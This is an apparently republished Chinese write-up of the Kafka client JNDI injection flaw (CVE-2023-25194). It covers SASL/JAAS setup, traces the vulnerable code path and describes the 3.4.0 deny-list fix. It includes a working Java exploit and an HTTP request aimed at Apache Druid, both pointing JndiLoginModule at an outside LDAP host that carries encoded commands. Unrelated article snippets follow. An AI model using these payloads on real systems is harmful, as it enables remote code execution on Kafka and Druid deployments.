Kafka JNDI 注入分析(CVE-2023-25194)

Apache Kafka Clients Jndi Injection

漏洞描述

Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。

影响范围

2.4.0 <= Apache Kafka <= 3.3.2

前置知识

Kafka 是什么

Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。

感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。

Kafka 客户端 SASL JAAS 配置

简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。

Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点

参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。

服务端配置

1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下

KafkaServer {org.apache.kafka.common.security.plain.PlainLoginModule requiredusername="eystar"password="eystar8888"user_eystar="eystar8888"user_yxp="yxp-secret";
};

说明:

username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。

user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX”

2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下

if [ "x$KAFKA_OPTS" ]; thenexport KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"fi

https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config

客户端配置

基本同服务端一致,如下步骤

1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf

KafkaClient {org.apache.kafka.common.security.plain.PlainLoginModule requiredusername="eystar"password="eystar8888";
};

2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config

sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \username="eystar" \
password="eystar8888";
// 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ)
Pro.set(“sasl.jaas.config”,org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";);
Kafka 客户端动态修改 JAAS 配置

方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下

loginModuleClass controlFlag (optionName=optionValue)*;

其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module

module

//安全模式 用户名 密码
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");

方式二:设置系统属性参数

// 指定kafka_client_jaas.conf文件路径 
String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf"; 
System.setProperty("java.security.auth.login.config", confPath);

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

实现代码

消费者

public class TestComsumer {public static void main(String[] args) {Properties props = new Properties();props.put("bootstrap.servers", "192.168.1.176:9092");props.put("group.id", "test_group");props.put("enable.auto.commit", "true");props.put("auto.commit.interval.ms", "1000");props.put("key.deserializer","org.apache.kafka.common.serialization.StringDeserializer");props.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");// sasl.jaas.config的配置props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");props.setProperty("security.protocol", "SASL_PLAINTEXT");props.setProperty("sasl.mechanism", "PLAIN");KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);consumer.subscribe(Arrays.asList("topic_name"));while (true) {try {ConsumerRecords<String, String> records = consumer.poll(Duration.ofMillis(100));for (ConsumerRecord<String, String> record : records)System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",record.offset(), record.partition(), record.key(), record.value());} catch (Exception e) {e.printStackTrace();}}}}

生产者

public class TestProduce {public static void main(String args[]) {Properties props = new Properties();props.put("bootstrap.servers", "192.168.1.176:9092");props.put("acks", "1");props.put("retries", 3);props.put("batch.size", 16384);props.put("buffer.memory", 33554432);props.put("linger.ms", 10);props.put("key.serializer","org.apache.kafka.common.serialization.StringSerializer");props.put("value.serializer","org.apache.kafka.common.serialization.StringSerializer");//saslprops.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");props.setProperty("security.protocol", "SASL_PLAINTEXT");props.setProperty("sasl.mechanism", "PLAIN");Producer<String, String> producer = new KafkaProducer<>(props);/*** ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,* 第二个:对于生产者kafka2.0需要你指定一个key* ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息*/try {producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));} catch (InterruptedException e) {e.printStackTrace();}}}

漏洞复现

漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处

lookup.png

理顺逻辑很容易构造出 EXP

import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.KafkaProducer;import java.util.Properties;public class EXP {public static void main(String[] args) throws Exception {Properties properties = new Properties();properties.put("bootstrap.servers", "127.0.0.1:1234");properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");properties.put("sasl.mechanism", "PLAIN");properties.put("security.protocol", "SASL_SSL");properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +"required " +"user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +"useFirstPass=\"true\" " +"group.provider.url=\"xxx\";");KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);kafkaConsumer.close();}
}

EXP.png

漏洞分析

前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。

createChannelBuilder.png

继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法

SASL_SSL.png

跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。

loadClientContext.png

跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。

LoginManager.png

跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进

loginContext.png

这里会调用 JndiLoginModuleinitialize() 方法

moduleStack.png

初始化完成之后,此处调用 JndiLoginModulelogin() 方法,最后到 JndiLoginModuleattemptAuthentication() 方法,完成 Jndi 注入。

down.png

漏洞修复

在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单

org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();if (disallowedLoginModuleList.contains(loginModuleName)) {throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);}
}

Apache Druid RCE via Kafka Clients

影响版本:Apache Druid <= 25.0.0

Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE

有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE

  • 漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka

在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload

POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 124.222.21.138:8888
Content-Length: 916
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
Content-Type: application/json
Origin: http://124.222.21.138:8888
Referer: http://124.222.21.138:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
"sasl.mechanism":"SCRAM-SHA-256","security.protocol":"SASL_SSL","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

druidAttack.png

success-25194.png

druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程

KafkaRecordSupplier.png

而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置

Apache Druid 26.0.0 更新了 kafka 依赖的版本

https://github.com/apache/druid/blob/26.0.0/pom.xml#L79

druidNewVersion.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/136857.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

02-PostgreSQL的基本使用

一、数据库操作 ①: 登录到数据库 psql -U postgres -d postgres -h 127.0.0.1②:查看所有数据库 \l③: 创建数据库 # 创建一个名为 mydb 的数据库 create database mydb;④:切换数据库 # \c 数据库名 \c mydb⑤:删除数据库 # 删除前 先确保数据库没有被连接 drop databa…

Linux学习笔记之五(父子进程、孤儿进程、僵尸进程、守护进程)

Linux 1、进程1.1、进程的六种状态1.2、创建子进程1.3、添加子进程任务1.4、孤儿进程、僵尸进程、守护进程1.4.1、避免僵尸进程1.4.2、创建守护进程1.4.3、杀死守护进程 1.5、综合练习 1、进程 进程可以简单的理解为一个正在执行的程序&#xff0c;它是计算机系统中拥有资源和…

小红书母婴博主投放技巧是什么,怎么避免无用功

如今&#xff0c;随着互联网的发展&#xff0c;母婴博主和社交媒体成为了很多妈妈们&#xff0c;获取育儿知识和建立社交圈的重要途径。今天为大家分享下小红书母婴博主投放技巧是什么&#xff0c;怎么避免无用功&#xff01; 一、优质的母婴博主在哪里 我们都知道&#xff0c;…

数据中台之数据分析

效果界面 技术方案 Notebook集成 在您的数据平台上,创建一个能够与Jupyter Notebook通讯的服务。通过Jupyter Notebook的HTTP API与Notebook实例进行交互,执行代码、获取输出等。用户界面 在数据开发/数据分析的代码框右上方,添加一个机器人样式的图标,用户点击后可以调起…

verdi如何打开时可以加载配置比如字体

打开tcl使能 找到配置字体的命令 其实其他有需要的文件配置都可以在这里找到对应的指令 存储文件 新建verdi001.tcl文件 输入想要调整的字体以及大小 verdiSetFont -font "Bitstream Vera Sans" -size "18" verdiSetFont -monoFont "Courier&q…

多篇论文介绍-摘要

论文地址https://arxiv.org/pdf/2301.10051.pdf 目录 01CIEFRNet&#xff1a;面向高速公路的抛洒物检测算法 02改进 YOLOv5 的 PDC 钻头复合片缺损识别 03 基于SimAM注意力机制的DCN-YOLOv5水下目标检测 04 基于改进YOLOv7-tiny 算法的输电线路螺栓缺销检测 ​编辑05 基于改进Y…

亚马逊鲲鹏系统能做什么

亚马逊鲲鹏系统是一款能绕过亚马逊智能检测&#xff0c;完全模拟人类真实行为&#xff0c;通过模拟真实的人流量来帮助你提升你的产品排名&#xff0c;让你的产品出现在搜索首页&#xff0c;从而快速提高你的销售业绩的营销工具&#xff01; 主要的功能有批量注册买家号、AI智能…

新生儿疝气:原因、科普和注意事项

引言&#xff1a; 新生儿疝气是一种在婴儿中相对较常见的状况&#xff0c;很多新父母可能对这一现象感到困惑和焦虑。疝气发生时&#xff0c;内腹腔的一部分可能穿过腹壁的弱点&#xff0c;导致腹部出现凸起。本文将科普新生儿疝气的原因&#xff0c;提供相关信息&#xff0c;…

计算机基础知识48

web应用程序 # Django框架是一款专门用来开发web应用的框架 # Web应用程序是一种可以通过浏览器访问的应用程序, B/S架构 案例&#xff1a;淘宝网、京东网... # 应用程序有两种模式: C/S&#xff1a;客户端/服务器端程序&#xff0c;这类程序一般独立运行 B/S&#xff1…

数据结构与算法C语言版学习笔记(5)-串,匹配算法、KMP算法

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、串的定义二、串的存储结构1.顺序结构2.链式结构 三、串的朴素的模式匹配算法&#xff08;暴力匹配算法&#xff09;1.背景2.假设我们要从下面的主串 S"…

“最强”机器学习辅助!利用自然语言让机器人更好地理解开放性世界

原创 | 文 BFT机器人 想象一下&#xff0c;你正在国外拜访朋友&#xff0c;打开他的冰箱看看有没有能够制作一顿美味早餐的食材。最初&#xff0c;冰箱里的许多物品对你来说都很陌生&#xff0c;每个物品的包装都是你不熟悉的。你开始试图理解每个物品的用途&#xff0c;并根据…

万界星空科技MES系统软件体系架构及应用

MES系统是数字化车间的核心。MES通过数字化生产过程控制&#xff0c;借助自动化和智能化技术手段&#xff0c;实现车间制造控制智能化、生产过程透明化、制造装备数控化和生产信息集成化。生产管理MES系统主要包括车间管理系统、质量管理系统、资源管理系统及数据采集和分析系统…

Ubuntu开机无法进入系统,文件根系统目录空间不足导致?

前言&#xff1a; 自己电脑上装的是Win11和Ubuntu20双系统&#xff0c;平时就是切换着用。 偶然有次&#xff0c;Ubuntu提示文件根系统目录空间不足&#xff0c;自己没在意。 结果下次开机进入Ubuntu时候&#xff0c;芭比Q了。。进不了系统 这样的事情发生很多次了&#xff0c;…

学者观察 | 数字经济中长期发展中的区块链影响力——清华大学柴跃廷

导语 区块链是一种全新的分布式基础架构与计算范式&#xff0c;既能利用非对称加密和冗余分布存储实现信息不可篡改&#xff0c;又可以利用链式数据结构实现数据信息可溯源。当前&#xff0c;区块链技术已成为全球数据交易、金融结算、国际贸易、政务民生等领域的信息基础设施…

事务(本地事务与分布式事务)

事务 1 本地事务1.1 事务的特性1.2 事务的隔离级别1.3 事务的传播属性 2 分布式事务2.1 分布式事务基础2.1.1 CAP定理2.1.2 BASE定理 2.2 分布式事务的解决方案2.2.1 两阶段提交&#xff08;2PC&#xff09;2.2.2 TCC补偿式事务2.2.3 消息事务最终一致性 1 本地事务 1.1 事务的…

module ‘torch‘ has no attribute ‘_six‘

主要问题是torchvision的问题 在122服务器上的scvi-env2环境中 import torch import torch.nn as nnimport numpy as npfrom tqdm import tqdm from torchvision.utils import save_image, make_grid # Model Hyperparametersdataset_path ./datasetscuda True DEVICE tor…

httpRequest库代码示例

python # 首先导入所需的库 library(httpRequest) # 设置主机名和端口号 proxy_host <- proxy_port <- # 使用httpRequest库的get函数下载图片 response <- httpRequest(", proxyHost proxy_host, proxyPort proxy_port) # 确保请求成功 if (response$sta…

腾讯云真的是良心云!服务器带宽、CPU、硬盘IO性能大揭秘!

本文将通过对腾讯云服务器CVM S5 4核配置的云服务器进行测试&#xff0c;来评估其在带宽、CPU和硬盘IO性能方面的表现。 在云服务器的并发处理中&#xff0c;带宽是一个重要的因素。经过测试&#xff0c;腾讯云的带宽网络表现非常出色&#xff0c;能够跑满带宽&#xff0c;同时…

表象变换与矩阵元

表象变换 一维粒子哈密顿量 表象中的矩阵元 态的表象变换 不难证明 算符的表象变换 坐标表象 Non-denumerable basis

人车实时精准管控!北斗让换流站作业更安全

换流站是高压直流输电系统的核心组成部分&#xff0c;对促进电网稳定运行、保障电力行业的可持续发展有着重要作用。长期以来&#xff0c;随着电网主变改扩建设工程的开展&#xff0c;站内作业人员安全管控压力随之增大&#xff0c;仅依靠传统的“人盯人”和“自主”管控模式较…